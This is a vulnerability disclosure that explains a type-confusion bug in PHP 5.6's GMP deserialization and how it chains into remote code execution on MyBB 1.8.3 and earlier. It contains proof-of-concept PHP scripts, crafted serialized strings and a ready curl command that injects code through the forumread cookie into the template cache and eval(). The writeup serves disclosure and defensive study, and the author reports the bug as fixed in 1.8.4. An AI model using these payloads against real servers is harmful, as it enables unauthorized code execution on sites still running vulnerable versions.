#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)>- Write Date:2015.4.28- Release Date:2017.1.20> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
Affected Versions
------------
Affected is PHP 5.6<5.6.30
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC)/*{{{*/{...
ALLOC_INIT_ZVAL(zv_ptr);if(!php_var_unserialize(&zv_ptr,&p,max,&unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr)!= IS_ARRAY
){
zend_throw_exception(NULL,"Could not unserialize properties",0 TSRMLS_CC);
goto exit;}if(zend_hash_num_elements(Z_ARRVAL_P(zv_ptr))!=0){
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));}
```
zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC)/*{{{*/{
zend_object *zobj;
zobj = Z_OBJ_P(object);if(!zobj->properties){
rebuild_object_properties(zobj);}return zobj->properties;}
```
It has been demonstrated many times before that __wakeup()or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-typeorbool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
The following codes will prove this vulnerability:
```
<?php
classobj{
var $ryat;
function __wakeup(){
$this->ryat =1;}}
$obj = new stdClass;
$obj->aa =1;
$obj->bb =2;
$inner ='s:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit ='a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
```
Expected result:
```
object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}
```
Actual result:
```
object(stdClass)#1 (3) {["aa"]=>
string(2)"hi"["bb"]=>
string(2)"hi"[0]=>object(obj)#3 (1) {["ryat"]=>&int(1)}}
```
**i) How to exploited this bug in real world?**
When PHP 5.6<=5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():
```
static int gmp_cast_object(zval *readobj, zval *writeobj,inttype TSRMLS_DC)/*{{{*/{
mpz_ptr gmpnum;
switch (type){...case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));return SUCCESS;
```
The following codes will prove this exploite way:
```
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
```
Of course, a crafted __wakeup() can also be exploited, ex:
```
<?php
function __wakeup(){
$this->ryat =(int) $this->ryat;}
?>
```
**ii) Can be exploited this bug in real app?**
Exploited the bug in MyBB:
index.php
```
if(isset($mybb->cookies['mybb']['forumread'])){
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);}
```
MyBB <=1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties,and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc.:-)**P.S. I had reported this vulnerability and it had been fixed in mybb >=1.8.4.**
Proof of Concept Exploit
------------**MyBB <=1.8.3 RCE vulnerability**
index.php
```
eval('$index = "'.$templates->get('index').'";');
```
MyBB always use eval() function in during template parsing.
inc/class_templates.php
```
classtemplates{...
public $cache = array();...
function get($title, $eslashes=1, $htmlcomments=1){global $db, $theme, $mybb;...
$template = $this->cache[$title];...return $template;}
```
If we can control the `$cache`, we will be albe to inject PHP code via eval() function.
inc/init.php
```
$error_handler = new errorHandler();...
$maintimer = new timer();...
$mybb = new MyBB;...
switch($config['database']['type']){case"sqlite":
$db = new DB_SQLite;break;case"pgsql":
$db = new DB_PgSQL;break;case"mysqli":
$db = new DB_MySQLi;break;
default:
$db = new DB_MySQL;}...
$templates = new templates;
```
The `$templates` object was instantiated in init.php,and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` objectand update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.
When MyBB <=1.8.3and PHP 5.6<=5.6.11, remote code execution by just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```